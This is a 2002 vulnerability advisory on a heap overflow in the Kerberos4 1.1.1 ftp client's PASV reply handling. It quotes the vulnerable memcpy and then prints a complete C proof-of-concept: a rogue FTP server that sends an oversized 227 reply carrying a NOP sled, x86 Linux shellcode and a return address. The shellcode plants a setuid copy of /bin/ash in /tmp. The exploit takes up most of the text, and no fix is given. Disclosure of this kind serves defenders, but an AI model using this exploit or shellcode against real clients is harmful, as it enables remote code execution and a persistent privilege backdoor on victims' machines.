26th Sep 2002 [SBWID-5311]
COMMAND
	Kerberos4 ftp client remote heap overflow
SYSTEMS AFFECTED
	Kerberos4 ftp client 4-1.1.1
PROBLEM
	Marcell Fodor [http://mantra.freeweb.hu/] advisory :
	Kerberos4 ftp client  is  a  simple  ftp  client,  with  the  extensions
	defined by RFC 2228. When authentication fails with  AUTH,  client  will
	use USER/PASS command as other ones.
	A bug in the code may cause a heap overflow which leads to  remote  code
	execution. The overflow occurs when  the  server  responds  to  client's
	request for passive mode. If the server responds with a  long  reply  in
	the place of IP and port, pasv buffer will overflow.
	see original code below :
	
	krb4-1.1.1/appl/ftp/ftp/ftp.c
	----------------
	int
	getreply (int expecteof)
	{
	.
	.
	.
	if (code == 227 || code == 229) {
	            char *p, *q;
	            pasv[0] = 0;
	            p = strchr (reply_string, '(');
	            if (p) {
	                p++;
	                q = strchr(p, ')');
	                if(q){
	                memcpy (pasv, p, q - p); // <- heap overflow
	                pasv[q - p] = 0;
	                }
	            }
	            }
	-------------
	client:    PASV
	server: 227 food_for_the_poor (AAAAAAA...1323bytes...AAAAAA)
	
	 Exploit :
	 =======
	
	/*
	    Proof Of Concept exploit against Kerberos4-1.1.1 ftp client 
	    23/04/2002
	    egg: x86 linux, 95 bytes
		cp /bin/ash /tmp/ash
		chmod 4755 /tmp/ash
	    Marcell Fodor
	    [email protected]
	*/
	#include <stdio.h>
	#include <stdlib.h>
	#include <stdarg.h>
	#include <string.h>
	#include <netinet/in.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <arpa/inet.h>
	#include <netdb.h>
	#include <unistd.h>
	#define HIT "\xa0\x01\x07\x08"
	#define SERVERPORT (3568)
	#define SEND(a) write(sock, a, strlen(a))
	#define NOP 0x90 
	#define _BANNER	"220 evil ready\n"
	#define _USER	"331 user oke\n"
	#define _PASS	"230 pass oke\n"
	#define _SYST	"215 evil\n"
	#define _GO	"530 go on\n"
	#define _END	"530 look what i did to you\n"
	static unsigned char egg[] =
	    "\x68\x2f\x62\x69\x6e\x5f\x6a\x70\x58\x66\x50\x66\x68\x2f\x63\x57"
	    "\x54\x5b\x31\xf6\x56\x54\x5a\x68\x2f\x61\x73\x68\x59\x51\x57\x54"
	    "\x5d\x56\x51\x68\x2f\x74\x6d\x70\x54\x59\x56\x51\x55\x53\x54\x51"
	    "\x5d\x59\xb0\x02\xcd\x80\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1a"
	    "\x31\xdb\x4b\x56\x54\x59\x31\xd2\x6a\x07\x58\xcd\x80\x31\xc9\x66"
	    "\xb9\x6d\x09\x55\x5b\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80\x00";        
	int
	main(int argc, char *argv[])
	{
	  int c, sock, ret;
	  int e = sizeof(struct sockaddr_in);
	  struct sockaddr_in l, r;
	  int serverport = SERVERPORT;
	    l.sin_family = AF_INET;
	    l.sin_port = htons(serverport);
	    l.sin_addr.s_addr = INADDR_ANY;
	    bzero(&(l.sin_zero), 8);
	    c = socket(AF_INET, SOCK_STREAM, 0);
	    ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));
	    if (ret)
	     {
		printf("bind failed\n");
		_exit(0);
	     }
	    ret = listen(c, 1);
	    if (ret)
	     {
		printf("listen failed\n");
		_exit(0);
	     }
	    printf("Evil ftpd accepting connections on port:%d\n", serverport);
	    while ((sock = accept(c, (struct sockaddr *) &r, &e)))
	    {
	        if (!fork())
	        {
		 int ret, ok = 0;
		 char buffer[8192]; 
		    SEND(_BANNER);
		    do 
		     {
			memset(buffer, 0, sizeof(buffer));
			ret = read(sock, buffer, sizeof(buffer) - 1);
			if (ret < 1) _exit(0); /* hmm..?$#%! */
			if (!strncmp(buffer, "USER", 4)) SEND(_USER);
			else if (!strncmp(buffer, "PASS", 4)) SEND(_PASS);
			else if (!strncmp(buffer, "SYST", 4)) SEND(_SYST);
			else if (!strncmp(buffer, "PASV", 4)) ok = 1;
			else if (!strncmp(buffer, "EPRT", 4)) ok = 1;
			else SEND(_GO);
		     } while(!ok);
		    memset(buffer, 0, sizeof(buffer));
		    strcpy(buffer, "227 (");
		    memset(buffer + strlen(buffer), NOP, 1319);
		    strcat(buffer, HIT);
		    strcat(buffer, ")\n");
		    memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg));
		    SEND(buffer);
		    SEND(_END);
	            close(sock);
		    _exit(0);
	        }
		close(sock);
	    }
	    _exit(0);
	}
	
SOLUTION
	??